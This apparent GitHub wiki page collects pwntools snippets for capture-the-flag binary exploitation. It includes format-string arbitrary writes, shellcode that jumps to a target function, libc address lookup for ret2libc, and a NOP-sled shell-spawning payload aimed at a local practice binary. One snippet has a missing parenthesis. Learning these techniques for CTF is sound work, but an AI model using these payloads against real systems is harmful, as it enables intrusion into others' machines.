Pwntools Snippets - tnballo/notebook GitHub Wiki

Code snippets performing useful tasks using the pwntools CTF framework. API documentation here. Great tutorial documentation here.

Debug an exploit with gdb


target_binary = ELF('./vuln_binary')

# [Perform steps to inject exploit or change program state here...]

# Run gdb without ~/.gdbinit (-n flag), set breakpoint and continue to it
gdb.attach(target_binary, '''
    break *0x8048b2d
    continue
    ''',
    gdb_args=['-n'])

# Pause a binary waiting for input on STDIN, allow time for attach
target_binary.interactive()

Extract addresses from an ELF by symbol name


# Read libc addrs
libc = ELF('libc.so.6')
puts_addr = libc.symbols['puts']
system_addr = libc.symbols['system']
binsh_addr = libc.search('/bin/sh').next()

# Read a GOT entry
target_binary = ELF('./vuln_binary')
puts_got_val = unpack(target_binary.read(target_binary.symbols['got.puts'], 4)

Generate a format string exploit for arbitrary write


VAL_TO_WRITE = 0x8048618
ADDR = 0x8049868

# Wrapper for vuln binary
def exec_fmt(payload):
    p = process('./vuln_binary')
    p.sendline(payload)
    return p.recvall()

# Construct payload
context.clear(arch = 'i386')
payload = fmtstr_payload(FmtStr(exec_fmt).offset, 
                        {ADDR: VAL_TO_WRITE}, 
                        numbwritten=0, 
                        write_size='byte')

Generate shellcode that jumps to a function


# Build shellcode that jumps to a func address
def asm_jmp_to_func(func_addr):
    return asm('mov eax,' + str(hex(func_addr))) + asm('call eax')

# Invoke the above for a func named 'win'
target_binary = ELF('./vuln_binary')
jmp_to_win_shellcode = asm_jmp_to_func(target_binary.symbols['win'])

# Debug print
shell_str = '\\x' + '\\x'.join('{:02x}'.format(ord(c)) for c in jmp_to_win_shellcode)
print('[DEBUG] Shellcode len: ' + str(len(jmp_to_win_shellcode)))
print('[DEBUG] Shellcode str: ' + shell_str)

Connect to a remote server through a local SOCKS proxy


# Check arg count
if len(sys.argv) < 4:
    print('Usage: ./%s [local_proxy_port] [target_server] [target_port]' % sys.argv[0])
    sys.exit()

# Load args
local_proxy_port = int(sys.argv[1])
target_server = sys.argv[2]
target_port = int(sys.argv[3])

# Setup context
context.log_level = 'error'
context.proxy = (socks.SOCKS5, 'localhost', local_proxy_port) 
context(arch='i386', os='linux')

# Connect
target = remote(target_server, target_port)

Inject a NOP sled to shellcode in an environment variable


# Configure
ENV_GUESS_ADDR = 0xff9908a3
DIST_INPUT_BUF_START_TO_RET_ADDR = 256
NOP_COUNT = 100000

# Build
shellcode = asm(pwnlib.shellcraft.i386.linux.sh())
target = process('./vuln_binary', env={'nop_to_shell': '\x90' * NOP_COUNT + shellcode})
payload = ('\xFF' * DIST_INPUT_BUF_START_TO_RET_ADDR) + p32(ENV_GUESS_ADDR)

# Run single attempt (alternative: loop with shell functionality test)
target.sendline(payload)
target.interactive()
⚠️ **GitHub.com Fallback** ⚠️